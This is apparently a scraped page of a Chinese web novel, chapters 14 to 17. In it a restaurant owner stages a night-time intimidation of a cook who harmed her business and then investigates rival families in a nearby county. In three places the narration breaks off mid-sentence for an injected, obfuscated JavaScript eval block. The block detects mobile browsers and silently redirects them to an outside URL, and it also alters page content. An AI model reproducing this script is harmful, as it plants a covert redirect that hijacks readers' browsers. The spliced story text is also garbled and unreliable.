只是手法如何，时机怎样，还得问过了大厨本人确定。 乌婕多喝了几口，大约估摸出一点范围，只等明天找齐大娘验证了。 原四卿见她喝得高兴，也举起勺子，慢慢喝掉了半碗。 再多的他也不能多喝，会积食。 这样就好，这样就够了。 14. 二次博弈 乌婕从原四卿房内走出，亲手替他关上了房门。 她没立刻回到自己的屋子里睡觉，因为她还有一件事要做： 坏事干完，切记毁尸灭迹。 乌婕抱着被打包好的鼓锣镲器，蹿去后院，开始挖坑。 她挑的地方也有讲究，正好是贺常璋爱坐的那张藤椅的……对角线。 毕竟一张椅子的目标还是大了些，不如埋在不起眼的角落处，只要自己记着位置，之后错开风头再融掉处理，那才算是干净呢。 乌婕干力气活是一把好手，哪怕此时只有她一人，也很快挖出了一个能把包裹整个埋下去的深坑。 乌婕目测了一回坑的深度，觉得大概也够用了，于是边提起袖子擦汗，边拄着铲子往下一掼，打算先把它竖在坑底—— “铛。” 铲子的底部似乎磕到了什么东西，隐隐有回震沿着铲柄，攀上了乌婕的大臂。 乌婕擦汗的动作一顿，干脆用两手同时握住铲子，向下猛铲，硬是把那个玩意挖了出来！ 方形的，沾着泥土，拿在手里硬邦邦，看不出是什么材质。 乌婕试着掰了一下边角，没掰动。 她把那不知道是什么的东西放在一边，先仔细把包裹往坑里埋好，填土推平，再把角落里原本就堆叠着的几束干草往上一搁，然后才抬起头。 ……从这个位置往前看，正好能瞧见那把居于视线对角位置的藤椅。 乌婕心中忽然生出一种毫无根据的错觉。 贺常璋，或者贺常璋的灵魂，此刻就坐在藤椅里面，乐呵呵地摇着把手，嘲笑她说：“笨哪，笨哪。” 笨你个头哦！ 乌婕抄起地上的方块物体，直奔后厨打起凉水，把它仔细冲刷了好几遍，才放到光下仔细验看。 洗尽铅华后，那东西终于露出了庐山真面目。 是一块令牌。 令牌的颜色似黄似青，材质非金非铜，四角处雕着祥云似的纹样，中心刻着一个简洁的“凤”字，背面则空无一物。 这是什么意思？ 乌婕捧着令牌，苦思冥想。 哦，想起来了。之前齐大娘好像说过，贺常璋出身于凤野贺氏。 以乌婕对本朝贵族贫瘠的了解和丰富的想象，仿佛、可能、兴许，那些出身大族的小辈们，身上就该佩戴着类似这种彰显身份的家族令牌的。 这东西绝对是属于贺常璋的，只是为什么令牌上刻着的是“凤”，而不是“贺”呢？ 联想了一下令牌空白的背面，乌婕很快就说服了自己：大概是贺常璋把背面属于自己的名字刮了。 这种事情，贺常璋是干得出来的。 那么问题来了，该怎么处理这块令牌？ 乌婕伸手摩挲着令牌的表面，又分神看了看自己贴颈戴着的玉佩，一时拿不定主意。 贺常璋把令牌埋在后院里，似乎是想要它不见天日的。 但现在她人都走了，就算想计较，也计较不了这种小事。 乌婕作为她身后留下的未亡之徒，自然是希望能用来追怀的遗物越多越好啊。 那就留着吧。 乌婕思索片刻，将颈上系着的玉佩取下，另找了一根红绳悬在腰间。 至于这块刚被挖出来的令牌，乌婕又把它仔细洗了好几回，才让它代替了原来玉佩所在的位置。 妥善放好，不见天日。 勤勤恳恳地把事情全都办完，乌婕对后院再无一丝留恋，果断回房入睡。 明天还有一场硬仗要打呢。 第二天一早，风云楼众人聚在一起吃包子的时候，听见门外有些异常的吵闹。 张掌柜快速喝掉了最后一口粥，皱着眉出去探听。 齐元动了动手指，最终选择再拿一个汤汁鲜美的包子。 待到张掌柜回来时，她先前露出的过分夸张的不耐烦表情已经消失不见，取而代之的是一种纯粹的八卦的快乐。 “弹花街上的李二和关家大夫人拉着了同一个卖红玉果的货郎，两家小孩子为了抢着先买，闹起来了。” 王彩瑚居然没报官？ 当然，她就算报官，用处也一定不大，但好歹是个态度。 乌婕想，既然你是这个态度，那我可就是另一个态度了哦。 …… 当夜，王彩瑚家。 王彩瑚郑重地给自己戴好了老父精心缝制的耳塞，斜眼看了看换过的窗纸，心中默念： 第一次捣乱，我不跟你们小孩子计较；要是再敢来第二次，看我怎么收拾你们就完了！ 虽然王彩瑚自以为心绪平静，但她今天熄灯的时候，比她平常入睡的时间还要晚了一刻钟。 院子外并没有什么乱声，前一晚的折磨似乎只是错觉。 王彩瑚也不知道自己究竟是什么心情，但她已经平躺在了枕上。 闭眼，深吸一口气，放空头脑。 等等。 她的鼻端忽然飘过一股熟悉的气味，有些浓，离得也很近。 王彩瑚豁然睁眼，立刻转头朝窗外看去！ 哪怕隔着加厚过的窗纸，她也能看出飘散在空气中的黑烟。 好大的胆子！这是想火烧民宅啊！！ 王彩瑚惊得一下子坐起身体，不慎牵扯到了自己臀下的伤口，疼得直抽气。 但她知道眼下还是保命要紧，立刻扯起嗓子大喊：“大人！大人！外头有贼人想烧死我啊！快去逮住她们——” 院子内外，再次灯火通明。 好几个佩刀的官差早从王彩瑚家的耳房、水房等钻出，王彩瑚自己的呼喊声甚至还慢了一拍。 其中一个身手敏捷的很快就翻过墙头，喝道：“什么人？束手就擒，可减罪一等！带罪逃逸，重罚全家！” 王彩瑚不是没报官。 她只是不想打草惊蛇，于是请了虎狼回家，要用一回守株待兔的法子。 而且她比张掌柜还要擅长和官府打交道。 这些官差全是她自己出了银两雇来，置办好酒肉招待，只求她们守家一夜。 若真有贼人出没，无论是把人吓走还是把人逮住，王彩瑚都会再给银钱。 这几个官差也是刻意挑过的人选，她们贪钱，也贪功劳。 只是小打小闹，她们不会放在心上；但假如遇见个胆大包天的犯人，她们也乐意倾力追捕，赚上一笔政绩。 放火烧宅，意图害命，这总算是大罪名了吧。 王彩瑚坐在床头还有些后怕，手指紧紧地抓住被单。 她倒要看看那贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371162|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人究竟是谁——想必一定是乌婕她们—— “王彩瑚。” 有个官差臭着脸从院子外进了她的屋子，身上还带着没被完全吹散的酒气。 “外头不过是个更妇，你大惊小怪地叫什么？！” 王彩瑚下意识道：“不可能，那么大的烟气——” 官差的面色更差了，直接把她的话往回堵：“那更妇路过你家门口，不小心被院子外的湿叶子堆绊了脚，闷烧着了，可不是有大烟气？你没事往你家院子外头堆那个做什么？” 王彩瑚直喊冤：“大人，您看看我这腿脚，我家里又只有老爹，哪个是能搬动那么多叶子的，还专门泼湿了堆在外头？肯定是那群贼人提前安排了，说不定更妇也跟她们勾结！大人，您一定为我做主啊！” 官差听得都笑了，一面摇头，一面往屋子外面走去。 王彩瑚一看就知道她没信，心里顿时一凉。 这官差走到门槛处，像是良心发现了一般，对王彩瑚说：“既然吃了你家的饭，我们也做好人做到底，今晚就守在你家了。” 呵呵，除了吃我家的饭，你还拿了我家的银子，这个怎么不说？ 只是王彩瑚多少还有理智，对着官差的背影陪了些感激讨好的套话。 听话的人没怎么认真听，说话的人也没用心说。 反正王彩瑚今晚是睡不着了，她睁着眼睛坐在床头，没过一会儿就听见了耳房里响起的鼾声。 这么响的鼾，王彩瑚也是第一次听到。 想来今日买的酒肉确实都是好的，没被人坑。 但王彩瑚一点也笑不出来。 她恶狠狠地盯着桌子上那盏油灯，看得格外用力。仿佛那油灯就是她的仇人，而她自己又可用眼神杀人一般。 她一直看，油灯一直烧。 王彩瑚的眼皮渐渐发沉了，上下粘连着，中间还夹着些古怪的重影。 重影晃动着，好像在往她这边移动。 只是没等王彩瑚强撑着睡意睁眼，油灯就先撑不住，灭了。 屋子里黑了，王彩瑚便顺其自然地睡了。 这场觉好像很长，又好像很短。 王彩瑚的脖颈忽然一凉，激得她睡意全无，双目圆瞪！ “噤声。”用匕首架在她颈上的人，仍是以那种南方的口音在说话，“敢喊一句，我先抹了你的脖子。” 王彩瑚是在案台上磨练过一二十年的老厨子，即使往日是管白案的多，酒楼要是忙起来，她还能不帮着杀个鸡宰个鸭的？ 现在，她变成了被刀扼住脖颈的鸡鸭。 这种力度对她来说有种陌生的熟悉，陌生是因为从未有过类似的体验。 熟悉则是因为她知道，接下来只需要顺着这个角度割下去，那脆弱的头颅就能被直接拔起。 然后，是血流如注。 王彩瑚极识得时务，颤着声说：“我不喊、不喊，您手轻些。” 持刀的人哼笑一声，没再说一句威胁，而是轻轻把刀往前送，割出了一点血腥气。 杀意无声弥漫。 王彩瑚知道，这绝不是小打小闹。她心里长久怀着的对乌婕等人的怀疑，一下全部熄灭了。 这样的阵势，这样的狠辣……哪里是那群年轻小孩能搞出来的？ 15. 灭口恐吓 “壮士，您、您想问什么，我都说……手下留情……” 血液的流失让王彩瑚更加惊恐。 屋内沉沉地发黑，刀刃是坚硬的冰凉，王彩瑚几乎是强撑着，等待那人的回复。 终于，持刀人问了第一个问题：“你今晚叫官差做什么？” 王彩瑚的脸是吓僵了，否则她一定会露出个苦笑，“我这是钱多没处花，没想做什么，不、其实我怕黑，人多了热闹，嘿嘿，嘿。” 她答得前言不搭后语，持刀人也没有放过她的意思，而是意味不明地追问道：“不是在防着我吧？想逮我？” 王彩瑚：“我哪敢啊！” 她一不小心让声音大了一些，持刀人反应何等敏捷，立刻举出空着的拳头，往王彩瑚脑门砸了一下。 “少动歪心思。”持刀人淡淡提醒了一句，刃尖舔着她的伤口。 王彩瑚眼冒金星，一时不能答话，过了一会儿才小声说，“您问，您尽管问就是了。” “不如你来问我。你猜，我找你是做什么？” 我猜你找我是要杀人的，但我敢说吗？ 刀在自己脖子上，王彩瑚只能继续放低姿态：“您是要问我找人？找物？我家里也就这么几个人，银钱上，凡我有的都能给您，但您未必瞧得上眼……我就是个平头百姓，字都不识几个……只求您手下留情……” 持刀人却说：“莫与我装傻了，王彩瑚。你遣走家眷，引来官差，这不是对自己的处境清楚得很么？你和谁结了仇，难道你不知道？” “你——您！”王彩瑚差点就又喊出声来了，但她的脑子还在转动，“我……您是为那人来的？可那也不是我的本意，我是被人强迫着去做事，不然，不然我何必让自己落得如此下场呢！” 若不是被单下的双手不知何时已被绑缚，王彩瑚甚至想要掐一把自己的大腿，逼出几滴眼泪来，更加彰显“悔恨”。 但这种手上的把戏做不了，王彩瑚便只好动用了嘴上的功夫。 她其实还不确定这突如其来的刺客究竟从何而来，又为哪一家主子效命，但她知道自己目前牵涉的，也只有那一桩风波。 风云楼，毒鱼害人案。 “我看你手头阔绰，高床软枕，瞧着也不像是被强迫了的样子啊？”持刀人显然不吃王彩瑚那套拙劣的卖惨，连带着对她话中的避重就轻也生出不喜，“得了，难得我今日有耐心，还同你说道几句——既然你心里都清楚，之后到了地下，莫在阎官面前喊冤。” 那把刀刃没有为王彩瑚留下一丝半点申辩的机会，对着她的命门，毫不留情地捅了下去！ 生死之际，小人亦会贪生。 王彩瑚头脑空白，身体却自发弹动起来，下意识往刀刃砍来的反方向避去！ 哪怕如此举动让那匕首几乎划过了她的半边脖子，伤口扩大，但终究没有立死。 疼痛是有的，但王彩瑚已经顾不上了，她的耳朵只能听见可怕的、血液汩汩流出的声音，滴答纷落，如同催命一般。 这样下去，哪怕刺客心软收了匕首，她自己也会血尽而死！ 唯一值得惊喜的是，王彩瑚这一挣扎，竟然把自己的双手都挣开了，此时还能勉强用手掌压着伤口止血。 然而更加倒霉的是，那个刺客也不是吃干饭的，见她躲掉了第一下，马上就舞着匕首往她心口戳刺来了第二下。 王彩瑚以手作挡，口中嘶哑喊道：“我不曾害人性命——” 那受罪的客人轻易就被张掌柜安抚了下去，并不是个不依不饶的性子。 即使她在离开孝丰之后忽然悔意上头，意欲报复，也不可能是以这种恐怖激烈的方式！ 持刀人的刀势竟在王彩瑚堪称狂暴的阻挡中缓了一下，不由焦躁道：“留着你，终究是个祸患。” 对了，对了，就是这一句。 谁会视她的存活为祸患？ 王彩瑚胡乱挥舞着手臂，急着要将刺客手中的刀刃打落，同时不顾自己脖子上的伤口，大声嚎叫道：“杀人了！杀人了！湖仁杨家杀人了！！” 王彩瑚家中到底睡着几个官差，还真有那反应快的，再次被她的喊叫声引来。 刺客想要的，其实也只有王彩瑚惊恐之下大喊出的那一句。 她做出被王彩瑚的喊声惊到的样子，骤然向后倒退了一步。 与此同时，门外的脚步声正不断靠近，没有给她留下再度动手的机会。 到底是脱身要紧。 何况，灭口王彩瑚也不是刺客的本意。 刺客干脆利落地跳窗而出，与此同时，窗边又有一个同伙似的黑影冒出头来，互相接应。 窗户“啪嗒”落下，门内闯入火光。 跑在最前面的官差举灯往屋内一照—— 王彩瑚软倒在她自己的床头，四肢痉挛似地抽动，脖颈上有一道长长的血痕，但伤口不深，流出的血液只沾染了她的一小部分衣襟。 屋内脚印凌乱，桌倾椅翻，窗户紧闭。 奇怪的是，王彩瑚的床下还放着一个小桶，桶中无水，周边却撒开一大摊湿痕。 …… “哗啦——” 凌越毫不犹豫地褪去了那身沾上了血迹的粗布衣服，跳入河中。 乌婕紧紧跟在她身后，一并下水。 凌越回头看了她一眼，叮嘱道：“先潜一阵，能不冒头就别冒头，跟紧我。” 河中交流不便，乌婕埋头入水，以实际行动表示自己收到了指示。 两个人都是年青力壮的女子，熟于水性，又知晓河道走势，很快就将越来越远的喊叫声甩在身后，在一处偏僻的泥滩处上岸。 那里早有一人在等着她们，手里捧着几件麻布衣，正准备给凌越披上。 凌越侧头躲了一下，“去给阿婕穿。” 那人也没有什么异议，给凌越分了一件让她自己穿，然后就走向了同样湿漉漉的乌婕。 乌婕接了衣服，向她道谢：“大姐今晚辛苦。” 这个明显是凌越下属的人笑道：“不比凌姑和娘子辛苦。” 凌越说：“没得你贫，在这里守着有什么辛苦？” 这人也不好跟老大顶嘴，只能讪讪说：“热水已经备好了。” 凌越和乌婕皆穿上了干爽的外衣，但身体还是冰凉湿冷的，正该泡一回热汤驱寒。 今夜的计划定得突然，且为了避人耳目，凌越没让手下人精心地准备。 两人泡过了汤，最终歇在一间还算整洁的民房内，相对坐着喝驱寒汤。 院内有几个凌越的人把守着，算是望风；但两人跑得快，游得更快，一时倒无被追缉之忧。 凌越说：“昨晚我请了赵之淮在这边喝酒，喝了一夜，让她醉了小半晌。你白天用接她的由头来，好些村人都看见我强留了你在家，行迹算是清楚的，想来不至于叫你受疑。” 乌婕拿指头挠了挠自己的脸，“只是依照咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371163|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩的脚程，但凡避过人，一日之内在村子和镇上往返几回，还是容易的。” 凌越答得轻描淡写：“大器村里的人嘴巴怪，我说不能，她们就要跟着说不能。” 乌婕用了恭维的语气调侃她：“凌姑！” 这个村子离孝丰镇算是近的。它在明面上有一个名字，而在凌越和那些管她叫“凌姑”的人口中，又是另一个名字。 大器村为什么叫大器村？乌婕并不深问。 正如她从不问凌越的出身，也不问她为什么能管束着那么多年长强壮的人丁，更不问她手里有人又有地，究竟是想做什么。 反正凌越就是凌越。 当然，这不妨碍乌婕时不时在心里给凌越编造一个身份，具体内容一般跟着乌婕那时候爱看的话本走。 比如水上管渔的把头、某座山上退下来的义匪、打南边来的聚落首领之女、以村民身份低调行走江湖的镖头…… 但是齐元跟她说，这世间没有武林与江湖。 于是凌越的身份现在成谜。 凌越一扬眉：“再喊一声。” 乌婕顺遂了她的心意，问道：“凌姑今晚陪我跑这一趟，又动了刀子见了血，不知想要什么回报？” 谈钱的话，如今喜得豪气未婚夫的乌婕不是付不起；但她和凌越之间从不讲这个。 凌越果然没怎么放在心上，很随意地说：“老样子，你记着就行。” 接着她跟乌婕商量道：“那王厨子吓破了胆子，说的话该有五六分准。只是若她心机深沉，故意攀咬，又或者是惊吓得胡言乱语了……再不济，也有那幕后的人将王厨子一并骗过的可能，反而误导了你。依照你的意思，可要再吓她几回，做个排除？” 乌婕看她简直有点意犹未尽的意思，赶紧把这个危险的念头打消了。 “我先前也有些推测，是在往湖仁县的方向查，倒跟她讲的对上了，如今正好能拿来验证。今晚临时起意，没有出什么岔子已是万幸，之后还得细细地扫尾，还是不要铤而走险，千万低调些。” 虽说物以类聚人以群分，但乌婕总觉得，她的朋友们在唯恐天下不乱这一块，表现得可比她权威太多了！ 凌越果然有些遗憾，转念一想，被乌婕说服了：“好吧，之后不去也是软刀子割人。就叫她一直惶惶着，还得白掏银子去养那些官差，最好是把收的钱都吐出来，这才算干净。” 乌婕诚恳道：“阿越仗义，我心里又记你一次。” 凌越便问：“多少次了？” 乌婕回答：“一百三十五次。”见凌越微微睁大了眼，不由揶揄道：“这只是今年的。我出去之前那几月，还有这几天的事，都好好记着呢，没扣你的。” 凌越这才点头表示认可。 “其实你再扣些也不妨。”凌越又说，“先前假如我对你家再留心些，也不至于让那王厨子……” 乌婕不是苛责朋友的人，更不想朋友自己苛责自己，果断劝道：“从来就没有千日防贼的道理，出了这样的事谁也料不到，而且你也不是日日都去镇上，何况那时候我又去了西边。如今风云楼的东家是我了，你是不信我能解决这事？” 凌越否认：“我自然信你无极。” 乌婕笑了：“阿越，你还是先疑我吧。” 在凌越疑惑的目光中，她的嘴角一撇，眉眼立时垮了下来。 “湖仁杨家、湖仁杨家。湖仁县起码有十多家开酒楼的‘杨家’啊！” 16. 未解之谜 无论如何，在王彩瑚的“帮助”下，调查的范围终究是被缩小了。 乌婕大手撒钱，很快就得到了想要的情报，汇成一沓厚厚的资料，被她以严苛的目光逐个审视。 杨在湖仁县算是个大姓，但同姓之中，亦有高下之分。 王彩瑚当初笃定地喊出了“湖仁杨家”，那这个“杨”起码得是数得上名号的“家”，能叫人找上门去的那种。 比如乌婕，她是可以自称“贺家”“张家”甚至“乌家”。 但会有人一听到“孝丰乌家”，就觉得对方说的人是她吗？ 按照这个逻辑，乌婕痛快地筛掉了一批小小的“杨家”——这些酒楼虽然与风云楼存在竞争关系，但从它们的规模就知道，背后的东家们是决拿不出收买厨子、雇佣混混所需的大笔银钱的。 这就显得几家大大的“杨家”格外突出了。 此外，乌婕还特意考虑了凌越的建议，即“万一那幕后的人将王厨子一并骗过了呢”，让人连带着查了查与这几家交恶的湖仁大户。 然后再看对方与佳膳会的关系、与官府的交往、日常行事的作风、在湖仁当地的名声…… 如此排除下来，乌婕暂时锁定了三家目标，二杨一莫。 先说这两个杨家。 第一个杨家的家主叫做杨绍安，家中开着的“杨万食肆”是湖仁县知名的老字号。 据说杨万食肆的创始人杨万最擅长烹饪河鲜，她们家好几道代代相传的招牌菜都与河鱼有关，做法风味皆与旁人不同。 “杨万家”的历任东家几乎都能凭借这一优势跻身佳膳会之中，因此有个“鱼大姑”的诨号，常被熟客拿来打趣，招牌打得很响亮。 “杨万家”这代的东家杨绍安正当壮年，家中娶了五房夫人，膝下却只有一个继承衣钵的女儿，向来爱重，教养得也很精心。 那杨女已是出了师，如今是在自家酒楼里帮着做事，外人都叫她是“小鱼姑”。 如此看来，这个杨绍安祖上有名、后继有人，家庭美满事业红火，本人行事更是豪爽大气，在湖仁县的名声不差，怎么看也不像是会对风云楼暗使昏招的人。 但乌婕会怀疑上她，自然也有理由。 杨万食肆有一道镇店大菜“白面玄鱼”，是选用了一整条的大草鱼，去鳞去骨，挂涂一层面糊再下油煎。 端出来后，食客只需敲开焦黄的面层，里面便会露出白如玉、嫩如水的鱼肉来，嗅之生津。 这道菜最特殊的标志在于，每一条“白面玄鱼”的面糊均不会沾染鱼尾。面糊和鱼尾是一同放在油里去煎，最终面煎成黄，尾煎成黑，一掰即断，尝起来却没有焦糊气，而是又脆又咸的口感，配上一小碟酸梅酱，边蘸边吃，被奉为“至味”。 白面玄鱼裹面、煎尾、控火的技巧都是不外传的，常有外地的食客慕名而来，有的甚至专挑鱼尾品尝，就是想品一品所谓的“玄尾”滋味。 那个不幸被腐鱼肉毒倒的外来客人，就是先在杨万食肆吃了白面玄鱼，而后在看到风云楼端上的尾部发黑、泛酸的香椿煎鱼后，不仅心中未生疑窦，反而欣然夹了鱼尾来吃。 而杨万食肆素来有条不成文的规矩，要跟客人强调“玄尾”是本店独有的招牌，外店是绝对仿不出来的。 当然，既然不是明文规定，若是杨万食肆没强调、或是客人自己没放在心上，那也实属正常。 真正引起乌婕重视的是，杨绍安在风云楼出事前后，忽然空前积极地在佳膳会中活动起来，而且专管些替厨子们与酒楼牵线的工作。 风云楼原先雇佣的大半厨子，皆被杨绍安荐入了湖仁县的各大酒楼中，而她从前再热心肠的时候，也没有做过类似的举动。 这像是以利封口。 只是不知道她如此做，是出于己身之意愿，还是受了旁人的交托？ 乌婕在“杨万食肆”四字上画了个圈，表示此家或与前事有所关联，值得继续关注、推敲。 第二个杨家更有意思一些，是两姐妹同开的一家店，名叫“千味轩”。 姐姐叫杨鲁，是千味轩的大东家，但不常在店里露面，名下还经营着一些食材生意。 妹妹叫杨停，是专在灶上的大厨，年纪比姐姐差了一截，听说是个沉闷老实的性情。 千味轩在湖仁县众多酒楼中的排行只能算是中上，但东家杨鲁实在会经营、又有手腕。 她只娶了一个夫人，正是佳膳会这任会长唯一的亲弟弟，姓祝。 杨鲁和他生了两个男儿，也没有纳偏房，倒是得了一个情深意重的名声。 杨停尚未成家，更不可能有子息，因此，这对姐妹俩目前都没有继承人。 杨鲁的“杨家”比杨绍安的“杨万家”更有声势，湖仁县的人因为千味轩背后有杨鲁杨大商人的存在，也不免对它高看一眼。 若要说“湖仁杨家”，一般能想到的，便是杨鲁这家了。 乌婕比较了千味轩和闭店前的风云楼，发现大家的规模、效益都差不多，如果不是一个在湖仁一个在孝丰，必成对头。 也就是说，假如杨鲁和杨停打算把千味轩迁到孝丰来，风云楼就是最合适承接它的地基。 哦对，还得是“倒闭”的风云楼才行。 但乌婕想不明白的是，即使她们真有此意，又何至于此？ 杨鲁这人与佳膳会关系密切，在商场上又有一个精明狠辣的名声。收买、打压、设局等等手段，她当然是使得出来，也能使得很好的。 可她既然是个聪明的商人，肯定要往利处去看。 风云楼的名声被搞臭了，乌婕等人就会被逼着仓皇离开。千味轩再冒出来想接盘，首先就得把前店留在客人心中的晦气扫清，才好继续开门迎客，如此便徒增麻烦。 若是看中了地段，真心想要盘店，把那些收买厨子、雇佣混混的花销拿一半到谈判场上，多半就能叫贺常璋松口，大家乐呵呵地和平交接，风云楼拿着银子，再寻地段就是。 难道是想提前赶走竞争对手？这也说不通啊。 风云楼在孝丰做了二三十年生意，勉强算半个当地的招牌，千味轩只是外来的，入驻之后未必就能站稳脚跟。 未来的收益尚不确定，先为排挤同行付出一笔看不到成效的钱？这就是杨大商人的气度？ 乌婕头痛地在“千味轩”上也画了个圈。 私心里，她是不愿意和杨鲁这样的人对上的，毕竟她只是个厨子啊！ 但如果背后动手的当真是杨鲁，那乌婕也只能继续硬顶下去。 最后一家姓莫，家主叫莫吴语，名下产业不少，但没有一家是酒楼食肆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371164|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌婕最初注意到她，只是因为此人与两个杨家都有仇怨，而等她细细了解过后，嚯！ 这个莫吴语，恶得出奇。 可以说，半个湖仁县的人，都和莫吴语有仇，这仇只分大小；而另外半个县的人呢，对她则是三缄其口，唯恐避之不及。 能在湖仁县享有如此“盛名”却还没被打死，莫吴语背后自然也是有倚仗的，还是很曲折的倚仗。 湖仁县的县令姓吴，莫吴语正是她膝下第五个女儿。 但她并非正室所出，且顽劣不成器，故而不被其母所喜。 待到莫吴语长大后，便以实际行动证明了，她确实是块扶不起墙的烂泥。 贪花好色、赌博吃酒对她来说都是寻常，时不时要借着母亲的势欺女霸男，简直是湖仁一霸。 吴县令捏着鼻子给这个孽女擦了几回屁股，终于再也无法忍耐，给她订了一桩上门亲，打包扔进了湖仁县知名大户莫家做赘妇，连姓氏都一并改了。 改姓易族，莫吴语对此深以为恨，居然“性情大变”了几年，在莫家伏低做小，不仅哄得莫夫人对她倾心不已，还骗过了老莫家主，让她在临终之前放心地将莫家家业交到了赘妇手里。 等到老家主下葬，家业到手，莫吴语立刻换了一副面孔。 或者说，她是换回了她本来的面孔。 成日游手好闲、眠花宿柳，浪荡的伎子一房一房地往家里抬，伤透了莫夫人的心；因着头上再无顾忌，她横行霸道的程度更胜以往，也更招人愤恨。 可是整个莫家如今已全落在莫吴语手中，任由她驱使摆布。 她做事又从不讲分寸，只凭喜怒，反而变成了一个常人不敢招惹的疯子。 曾有人试图替莫吴语强夺的一个民男抱不平，莫吴语便当场将那可怜的男子拉出家门，当众用银子把他砸了个满脸包，还逼迫那男子为她叫好。 围观的人看不下去，出手要拦，莫吴语便将银子抛向人群，引发了一场抢钱所致的狂乱踩踏，数人重伤卧床，甚至有因此致残者。 吴县令派官差把莫吴语抓进大牢，又做主让那男子归家。 最后是哭肿了眼睛的莫夫人找上衙门，拿着银两，把莫吴语从牢里赎了出来。 莫吴语毫不悔改，行事如常。 乌婕第一次读到此处时，倒吸了一口凉气。 一个人能肆无忌惮到如此地步，究竟还有什么手段是她使不出来的？ 去年，莫吴语的正室夫人，也就是那位莫夫人忧郁而死，她没等孝期过完，立刻就娶了新人进门。 而这位新夫人姓黄，恰好也有个在佳膳会的名厨母亲。 此后几月，莫吴语陆续请了几名大厨上门，又随意将其打发。 外人只道是她一贯地作弄人，但如果莫吴语是打算往食肆一业上布置呢？ 乌婕的直觉告诉她，莫吴语身上的嫌疑最大。 毒肉害人、重金收买、混混扰门……都是她能用出来的手段，不管抛费只管纠缠，也像是她的为人。 吴县令虽然恨这个女儿不器，但若真到了紧要关头，也不见得会弃莫吴语于不顾。 只是，这些都只是乌婕的推测，是绝不能拿来定罪的。 乌婕须得想明白另一个问题：幕后之人，何以盯上了风云楼？ 17. 真凶帮凶 可能会盯上风云楼的同行“二杨”，不会用那种曲折迂回、得不偿失的手段； 真正阴暗如毒蛇、肆意如疯子的莫吴语甚至尚未入行，远在孝丰镇上的风云楼哪里能入她的眼呢？ 乌婕对着情报呆坐了半晌，怎么想也想不明白，甚至一度怀疑，自己的调查方向会不会出了错？ 但她很快又说服了自己。 毕竟情报买都买了，这几家的嫌疑也不是空穴来风。 不如先沿着这个方向继续查下去，总比没头脑乱撞来得要好。 至于她想不明白的那个问题，则被乌婕轻轻搁置到了一边。 风云楼没有做错什么，它只是一家酒楼而已。 看见它之后生出恶意、以阴私手段试图夺业的幕后人，才是真正该反思的那一个！ 于是她正式确认了下一步的方向。 二杨一莫，都得试探；佳膳会在其中扮演的角色，亦要关注。 ……乌婕抹了一把脸，觉得这件事真是越深挖，越复杂。 “笃笃！” 门外响起了急切的敲门声，乌婕下意识确认了一下现在不是饭点，这才跳起来去开门。 “有什么事？” 张怜一把抓住了她的衣摆：“东家！那些人、那些人又来了！” 乌婕神色一凛，立刻大步往楼下走，“她们还敢来砸东西？” 据张掌柜说，那群混混的手段也是不断升级的。 最开始，她们是在外面扰客、泼水，后来渐渐发展到夜里怪叫、白日言语骚扰，见了人多就跑，人少再来。 乌婕回来时赶上的那一场催债打砸，正是她们头一次以暴力登堂入室，打了张掌柜一个措手不及，没能及时呼唤来邻友帮手。 叫乌婕看来，那群人欺负的不过是张掌柜力弱，张怜年小。但她哪个也不沾。 当初放走了她们，不过是因为乌婕刚刚回来，不知前情。 现在的情况又岂会和那时一般？ 乌婕自己就是风云楼目前最大的壮劳力；她的朋友们也都知道那群人的行事突破了底线，少不得对此多添关注。 乌婕一边下楼一边捋袖子，打算拿那群东西试试她最近刚跟齐元学的基本功。 学刀之前先练的是体力，只用拳头，也不怕把人打死过去。 张怜在后面追着她一路小跑，上气不接下气地说：“东家你慢一点，那个齐娘子，已经顶上去了……” 乌婕一惊，顿时走得更快了。 张怜叫“大娘”的才是齐大娘，叫“齐娘子”便是说齐元了。 依齐元的刀法，她若是下去得晚了，还能看见囫囵人吗？ 能的，乌娘子，能的。 乌婕来到大堂的时候，几个生面孔的地痞已经被齐元用刀背全部揍倒在了地上。 但这几人看起来受伤不重，还能活泼地在地上“哎呦哎呦”地滚着呻吟，硬是没一个敢爬起身的。 齐元见乌婕来了，冲她点了一下头，解释道：“我怕她们惊吓了公子，先叫这群人老实些。” 乌婕赞道：“还是齐师出手利落！” 随后，乌婕在地上扫视了一圈，毫不犹豫地走向离齐元最远的那一个，一脚踏在了她身上。 “登门闹事？把命留下吧你！” 那混混虽是几人中的头领，心理素质明显强些，但骤然听得此语，面上也是一惊。 